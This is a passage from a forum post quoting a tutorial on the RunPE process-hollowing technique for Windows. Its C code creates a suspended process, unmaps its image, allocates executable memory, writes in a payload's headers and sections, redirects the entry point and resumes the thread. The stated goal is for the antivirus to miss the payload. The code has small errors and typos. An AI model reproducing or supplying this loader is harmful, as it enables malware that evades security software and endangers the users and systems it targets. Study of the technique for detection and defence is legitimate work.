e_lfanew); if (pinh-> Signature! = IMAGE_NT_SIGNATURE) return; } We will now create a suspended process. Code: VOID RunPE (VOID) { ... // get the file name CHAR szFileName [MAX_PATH]; GetModuleFileName (NULL, szFileName, MAX_PATH); // initialize startup and process information STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory (& si, sizeof (si)); ZeroMemory (.pi, sizeof (pi)); // need to set si.cb size before use si.cb = sizeof (si); // create a suspended process CreateProcess (szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, & si, & pi); } Code: VOID RunPE (VOID) { ... // get the thread context CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext (pi.Thread, & ctx); } And now let's free up the virtual memory area of the process so that we can allocate our own space for the application. To do this, we need a function that is not available to us, so we need a function pointer for the dynamically retrieved function from the DLL ntdll.dll. Code: typedef NTSTATUS (* fZwUnmapViewOfSection) (HANDLE, PVOID); VOID RunPE (VOID) { ... // dynamically retrieves the ZwUnmapViewOfSection function from the ntdll.dll file fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection) GetProcAddress (GetModuleHandle ("ntdll.dll"), "ZwUnmapViewOfSection"); // hollow process at virtual memory address 'pinh-> OptionalHeader.ImageBase' pZwUnMapViewOfSection (pi.hProcess, (PVOID) pinh-> OptionalHeader.ImageBase); // allocate virtual memory at 'pinh-> OptionalHeader.ImageBase' of size `pinh-> OptionalHeader.SizeofImage` with RWX permissions LPVOID lpBaseAddress = VirtualAllocEx (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, pinh-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); } Since the suspended process has its own content inside its virtual memory space, we must remove it from memory and then allocate it for ourselves so that we have the correct access and permissions to load the image of our application. We will do this using the WriteProcessMemory function. First, we need to write the headers and then each section separately, like the Windows bootloader. This section requires a deep understanding of the structure of the PE file. Code: VOID RunPE (VOID) { ... // write the title WriteProcessMemory (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, Shellcode, pinh-> OptionalHeader.SizeOfHeaders, NULL); // write each section int i; for (i = 0; i <pinh-> FileHeader.NumberOfSections; i ++) { // calculate and get the i-th section PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER) ((DWORD) Shellcode + pidh-> e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i); // write section data WriteProcessMemory (pi.hProcess, (LPVOID) (lpBaseAddress + pish-> VirtualAddress), (LPVOID) ((DWORD) Shellcode + pish-> PointerToRawData), pish-> SizeOfRawData, NULL); } } Now that everything is in place, we will simply change the entry point context address and then resume the suspended thread. Code: VOID RunPE (VOID) { ... // set the corresponding entry point address ctx.Eax = pinh-> OptionalHeader.ImageBase + pinh-> OptionalHeader.AddressOfEntryPoint; SetThreadContext (pi.hThread, & ctx); // restore and execute our application ResumeThread (pi.hThread); } The app is now running in memory and hopefully the antivirus software won't detect it. [B]Conclusion[/B] Hopefully at least the high level and some of the low level concepts have been reasonably well informed to the reader. If some things are still completely incomprehensible, I would highly recommend introspection on the topics listed at the beginning of this article. If some small things are a little unclear, feel free to ask. It was not aimed at an entry-level audience.[/i] [/QUOTE]

Name

Verification